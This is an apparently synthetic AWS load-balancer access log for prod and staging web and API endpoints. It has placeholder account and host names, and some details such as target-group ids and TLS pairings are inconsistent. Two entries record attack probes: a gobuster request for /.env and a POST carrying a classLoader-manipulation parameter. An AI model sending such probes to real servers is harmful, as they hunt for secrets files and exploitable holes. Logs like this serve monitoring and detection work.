"Root=1-6723c366-5ad4d0ffa99543f4bd98532e" "-" "-" 3 2024-11-01T00:50:30.109945Z "forward" "-" "-" "177.237.99.145:443" "302" "-" "-" +https 2024-11-01T00:50:31.268845Z prod-api-alb 93.184.77.131:48873 10.0.235.248:443 0.088957 0.234762 0.040170 200 200 970 2256 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c367-42f5b382788244f6a68f305d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:50:31.268845Z "forward" "-" "-" "10.0.235.248:443" "200" "-" "-" +https 2024-11-01T00:50:32.120523Z prod-web-alb 58.175.220.35:48964 10.0.252.103:443 0.001541 0.013380 0.088159 302 302 625 10900 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c368-bfe654f1523c4c43b546393e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:50:32.120523Z "forward" "-" "-" "10.0.252.103:443" "302" "-" "-" +https 2024-11-01T00:50:32.777342Z prod-web-alb 140.108.191.149:57672 10.0.233.246:443 0.089963 0.043401 0.047209 301 301 843 6919 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c368-fb24e5a90a6f46a7b55960c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:50:32.777342Z "forward" "-" "-" "10.0.233.246:443" "301" "-" "-" +https 2024-11-01T00:50:34.062658Z prod-web-alb 154.79.174.22:31233 10.0.103.205:443 0.048309 0.376137 0.010569 404 404 78 7623 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c36a-646497c468d04ceeb37c0ea6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:50:34.062658Z "forward" "-" "-" "10.0.103.205:443" "404" "-" "-" +https 2024-11-01T00:50:35.816465Z prod-web-alb 177.164.202.254:33093 10.0.137.178:443 0.049252 0.495109 0.099978 200 200 460 1601 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c36b-a8abf18f92ef4d5c8ce90a2c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:35.816465Z "forward" "-" "-" "10.0.137.178:443" "200" "-" "-" +https 2024-11-01T00:50:36.454323Z prod-web-alb 53.124.169.38:20184 10.0.177.188:443 0.054159 0.123087 0.055298 200 200 125 14279 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c36c-384e04cb9a814c43b16aefa2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:50:36.454323Z "forward" "-" "-" "10.0.177.188:443" "200" "-" "-" +https 2024-11-01T00:50:38.081517Z staging-alb 191.107.128.106:26077 143.175.151.1:80 0.058428 0.588231 0.060086 200 200 277 290 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c36e-6ca203d74ce34c7b87f2063d" "staging-alb.example.com" "-" 5 2024-11-01T00:50:38.081517Z "forward" "-" "-" "143.175.151.1:80" "200" "-" "-" +https 2024-11-01T00:50:38.365088Z staging-alb 161.55.75.172:54168 152.193.137.163:8080 0.134357 0.419573 0.087858 404 404 898 4377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c36e-4166119e2f82474a977f2695" "staging-alb.example.com" "-" 4 2024-11-01T00:50:38.365088Z "forward" "-" "-" "152.193.137.163:8080" "404" "-" "-" +https 2024-11-01T00:50:39.774348Z prod-web-alb 11.183.26.180:14639 10.0.109.177:443 0.076287 0.451302 0.086042 404 404 239 1293 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c36f-2bee0c4a3e4547e5aaf45f4b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:50:39.774348Z "forward" "-" "-" "10.0.109.177:443" "404" "-" "-" +http 2024-11-01T00:50:40.894096Z staging-alb 150.124.71.166:12700 98.198.117.168:80 0.128715 0.347603 0.129146 200 200 68 2062 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c370-fdcc4090e2914652a9afede3" "staging-alb.example.com" "-" 7 2024-11-01T00:50:40.894096Z "forward" "-" "-" "98.198.117.168:80" "200" "-" "-" +https 2024-11-01T00:50:42.387498Z staging-alb 189.142.10.249:32756 190.187.90.56:8080 0.128676 0.534071 0.113491 302 302 268 5018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c372-b9edcaf0a5a943cfa77cbc37" "staging-alb.example.com" "-" 6 2024-11-01T00:50:42.387498Z "forward" "-" "-" "190.187.90.56:8080" "302" "-" "-" +https 2024-11-01T00:50:43.901514Z prod-web-alb 179.38.224.154:11081 10.0.150.13:443 0.070661 0.086474 0.090465 301 301 714 6688 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c373-b84a15583b04427486511900" "prod-web-alb.example.com" "-" 9 2024-11-01T00:50:43.901514Z "forward" "-" "-" "10.0.150.13:443" "301" "-" "-" +https 2024-11-01T00:50:44.957613Z prod-web-alb 193.27.228.48:29710 10.0.217.84:443 0.071874 0.166999 0.038641 403 403 27 14621 "GET /.env HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c374-9b774d3197204a2f8004490e" "-" "-" 5 2024-11-01T00:50:44.957613Z "forward" "-" "-" "10.0.217.84:443" "403" "-" "-" +https 2024-11-01T00:50:46.621535Z staging-alb 182.40.48.1:43646 141.189.69.156:443 0.117821 0.566829 0.067207 302 302 869 2019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c376-53d38595ad764c6ea81b9ca1" "staging-alb.example.com" "-" 9 2024-11-01T00:50:46.621535Z "forward" "-" "-" "141.189.69.156:443" "302" "-" "-" +http 2024-11-01T00:50:48.031247Z staging-alb 214.65.76.63:15587 105.61.105.9:80 0.060611 0.099767 0.089899 200 200 452 4444 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c378-c3cdf826a1d6446f97e39e19" "staging-alb.example.com" "-" 10 2024-11-01T00:50:48.031247Z "forward" "-" "-" "105.61.105.9:80" "200" "-" "-" +https 2024-11-01T00:50:49.704289Z prod-web-alb 98.98.100.213:28121 10.0.226.181:443 0.082951 0.360505 0.053388 200 200 707 11875 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c379-1989e81d0bcf4762bce247a9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:49.704289Z "forward" "-" "-" "10.0.226.181:443" "200" "-" "-" +https 2024-11-01T00:50:50.932919Z prod-web-alb 135.6.70.105:57852 10.0.244.169:443 0.017911 0.492797 0.069980 200 200 565 1670 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c37a-09ba79adf3f140aab35984b3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:50.932919Z "forward" "-" "-" "10.0.244.169:443" "200" "-" "-" +http 2024-11-01T00:50:51.861067Z staging-alb 237.118.113.207:46809 213.74.227.34:443 0.147926 0.435308 0.110183 200 200 900 8631 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c37b-2feb98072e4b42bc935b4f7c" "staging-alb.example.com" "-" 4 2024-11-01T00:50:51.861067Z "forward" "-" "-" "213.74.227.34:443" "200" "-" "-" +https 2024-11-01T00:50:52.674731Z prod-api-alb 39.146.27.55:30878 10.0.184.245:443 0.083490 0.131166 0.016157 200 200 295 7851 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37c-dbff62bcd24d4b3a992144a0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:50:52.674731Z "forward" "-" "-" "10.0.184.245:443" "200" "-" "-" +https 2024-11-01T00:50:52.943804Z prod-api-alb 203.14.223.140:58386 10.0.74.48:443 0.006142 0.444058 0.044029 200 200 392 9462 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37c-7e6a99f3a3ad4fa9849fe1d4" "-" "-" 9 2024-11-01T00:50:52.943804Z "forward" "-" "-" "10.0.74.48:443" "200" "-" "-" +https 2024-11-01T00:50:53.553069Z staging-alb 42.205.59.3:59019 184.190.243.192:8080 0.066609 0.147731 0.070388 301 301 589 12240 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c37d-87441757d178435894990794" "staging-alb.example.com" "-" 0 2024-11-01T00:50:53.553069Z "forward" "-" "-" "184.190.243.192:8080" "301" "-" "-" +https 2024-11-01T00:50:55.077690Z staging-alb 197.154.235.44:24133 168.163.135.175:8080 0.135010 0.302054 0.087115 301 301 740 11363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c37f-6c560ee7dc1f4a6fa915131f" "staging-alb.example.com" "-" 2 2024-11-01T00:50:55.077690Z "forward" "-" "-" "168.163.135.175:8080" "301" "-" "-" +https 2024-11-01T00:50:55.848925Z prod-api-alb 179.224.12.123:10047 10.0.112.141:443 0.052467 0.459948 0.099869 404 404 356 8618 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37f-bc37ac1549be4779a253892c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:50:55.848925Z "forward" "-" "-" "10.0.112.141:443" "404" "-" "-" +https 2024-11-01T00:50:57.239334Z prod-web-alb 56.120.130.165:61634 10.0.76.86:443 0.013234 0.146621 0.099652 200 200 40 5536 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c381-047e6dcb3e434bf3b68995d5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:50:57.239334Z "forward" "-" "-" "10.0.76.86:443" "200" "-" "-" +http 2024-11-01T00:50:57.898479Z staging-alb 55.168.209.178:40054 179.48.54.44:8080 0.090424 0.505560 0.065946 404 404 88 13395 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c381-574f75d0c80742c0b6210837" "staging-alb.example.com" "-" 0 2024-11-01T00:50:57.898479Z "forward" "-" "-" "179.48.54.44:8080" "404" "-" "-" +https 2024-11-01T00:50:58.119513Z prod-web-alb 193.27.228.118:51561 10.0.144.16:443 0.066561 0.118404 0.086517 404 404 409 228 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c382-407633a16f234ef295df3548" "-" "-" 4 2024-11-01T00:50:58.119513Z "forward" "-" "-" "10.0.144.16:443" "404" "-" "-" +https 2024-11-01T00:50:59.221216Z prod-api-alb 122.240.102.210:56827 10.0.50.15:443 0.070503 0.199953 0.068090 404 404 997 3056 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c383-46d374f15dba4a74a26a0a7d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:50:59.221216Z "forward" "-" "-" "10.0.50.15:443" "404" "-" "-" +http 2024-11-01T00:51:01.035065Z staging-alb 194.143.166.11:30551 190.129.37.60:80 0.098312 0.582864 0.010901 404 404 203 11581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c385-c055911b1754466f96ac7e7a" "staging-alb.example.com" "-" 0 2024-11-01T00:51:01.035065Z "forward" "-" "-" "190.129.37.60:80" "404" "-" "-" +https 2024-11-01T00:51:02.407539Z prod-web-alb 57.10.27.101:13626 10.0.153.23:443 0.021972 0.037066 0.079616 404 404 603 13466 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c386-203383bb058648f4a3514a87" "-" "-" 7 2024-11-01T00:51:02.407539Z "forward" "-" "-" "10.0.153.23:443" "404" "-" "-" +https 2024-11-01T00:51:03.370429Z prod-api-alb 135.95.24.235:31443 10.0.119.173:443 0.099616 0.288904 0.006033 200 200 49 9203 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c387-a6ed9ac89fde4295ab382c44" "prod-api-alb.example.com" "-" 3 2024-11-01T00:51:03.370429Z "forward" "-" "-" "10.0.119.173:443" "200" "-" "-" +http 2024-11-01T00:51:03.656429Z staging-alb 82.85.202.87:60216 207.129.64.231:443 0.106359 0.132128 0.016288 302 302 339 5025 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c387-255160f953e841d188b96881" "staging-alb.example.com" "-" 6 2024-11-01T00:51:03.656429Z "forward" "-" "-" "207.129.64.231:443" "302" "-" "-" +https 2024-11-01T00:51:04.876115Z prod-web-alb 6.170.95.131:21728 10.0.31.191:443 0.092975 0.460519 0.044103 200 200 24 7106 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c388-b2613e4456b245239bd47d72" "prod-web-alb.example.com" "-" 7 2024-11-01T00:51:04.876115Z "forward" "-" "-" "10.0.31.191:443" "200" "-" "-" +https 2024-11-01T00:51:06.116901Z prod-api-alb 231.130.200.25:28983 10.0.153.50:443 0.019515 0.172604 0.027689 404 404 539 12056 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c38a-543111db88ae474497a29b37" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:06.116901Z "forward" "-" "-" "10.0.153.50:443" "404" "-" "-" +https 2024-11-01T00:51:06.626391Z prod-web-alb 252.94.235.182:17336 10.0.193.97:443 0.091494 0.265372 0.050919 302 302 515 3703 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c38a-2cc3c80bd1644c4a99fa752e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:06.626391Z "forward" "-" "-" "10.0.193.97:443" "302" "-" "-" +http 2024-11-01T00:51:08.284725Z staging-alb 249.153.237.176:33604 30.202.218.172:80 0.080114 0.282652 0.143421 404 404 382 10143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c38c-5653ae29f87f4b6a88b5970e" "staging-alb.example.com" "-" 3 2024-11-01T00:51:08.284725Z "forward" "-" "-" "30.202.218.172:80" "404" "-" "-" +https 2024-11-01T00:51:08.671279Z prod-web-alb 175.1.144.106:25227 10.0.91.160:443 0.046544 0.059343 0.097342 302 302 783 12952 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c38c-29bdd98483d04a099886a7cd" "prod-web-alb.example.com" "-" 1 2024-11-01T00:51:08.671279Z "forward" "-" "-" "10.0.91.160:443" "302" "-" "-" +https 2024-11-01T00:51:09.730707Z prod-api-alb 184.133.60.132:21762 10.0.32.182:443 0.068517 0.010774 0.026901 200 200 463 2859 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c38d-113031a690044ba09068ea02" "prod-api-alb.example.com" "-" 8 2024-11-01T00:51:09.730707Z "forward" "-" "-" "10.0.32.182:443" "200" "-" "-" +http 2024-11-01T00:51:10.574870Z staging-alb 203.110.154.95:56371 252.45.152.173:8080 0.070286 0.513617 0.138893 200 200 901 851 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c38e-0cddef7f036d4267bd777404" "staging-alb.example.com" "-" 10 2024-11-01T00:51:10.574870Z "forward" "-" "-" "252.45.152.173:8080" "200" "-" "-" +https 2024-11-01T00:51:12.082248Z prod-api-alb 71.224.150.253:48897 10.0.242.98:443 0.083731 0.205480 0.074508 200 200 686 541 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c390-e93a137c41dc43b19f44ec31" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:12.082248Z "forward" "-" "-" "10.0.242.98:443" "200" "-" "-" +https 2024-11-01T00:51:13.887745Z prod-api-alb 239.233.127.7:16653 10.0.35.251:443 0.012361 0.413587 0.036300 200 200 907 14819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c391-4788c74c590641c0aef33ec6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:51:13.887745Z "forward" "-" "-" "10.0.35.251:443" "200" "-" "-" +https 2024-11-01T00:51:14.424736Z prod-web-alb 4.115.34.20:47187 10.0.23.48:443 0.030996 0.158890 0.007227 200 200 522 9010 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c392-4e390050a65c4e7686aa954e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:51:14.424736Z "forward" "-" "-" "10.0.23.48:443" "200" "-" "-" +http 2024-11-01T00:51:16.383899Z staging-alb 79.139.64.148:21408 164.156.109.236:8080 0.012990 0.398421 0.062966 200 200 310 9175 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c394-7b05424eda9649cb90c5d8eb" "staging-alb.example.com" "-" 6 2024-11-01T00:51:16.383899Z "forward" "-" "-" "164.156.109.236:8080" "200" "-" "-" +https 2024-11-01T00:51:16.941106Z prod-api-alb 134.196.244.31:48609 10.0.74.21:443 0.033690 0.239766 0.017319 200 200 815 5545 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c394-dbd44acbea24423ba4fffd4b" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:16.941106Z "forward" "-" "-" "10.0.74.21:443" "200" "-" "-" +https 2024-11-01T00:51:17.416174Z staging-alb 108.91.70.121:49638 1.152.124.138:443 0.002901 0.162648 0.101392 200 200 225 13788 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c395-a3e77e6405e84768aa60e4bf" "staging-alb.example.com" "-" 9 2024-11-01T00:51:17.416174Z "forward" "-" "-" "1.152.124.138:443" "200" "-" "-" +https 2024-11-01T00:51:18.595978Z prod-web-alb 239.138.250.21:61881 10.0.127.130:443 0.082142 0.063903 0.058913 200 200 281 4173 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c396-098a98feb9e743329302378a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:18.595978Z "forward" "-" "-" "10.0.127.130:443" "200" "-" "-" +https 2024-11-01T00:51:20.541566Z prod-api-alb 17.119.24.177:39889 10.0.109.103:443 0.026957 0.131726 0.012094 301 301 898 12284 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c398-47d7404935b44f1aa9870d0f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:51:20.541566Z "forward" "-" "-" "10.0.109.103:443" "301" "-" "-" +http 2024-11-01T00:51:21.942907Z staging-alb 178.187.53.129:15668 155.66.127.41:80 0.099074 0.686100 0.109599 200 200 962 4731 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c399-576fbd7f31554d7b84e07569" "staging-alb.example.com" "-" 10 2024-11-01T00:51:21.942907Z "forward" "-" "-" "155.66.127.41:80" "200" "-" "-" +https 2024-11-01T00:51:23.232280Z prod-web-alb 69.9.22.141:40425 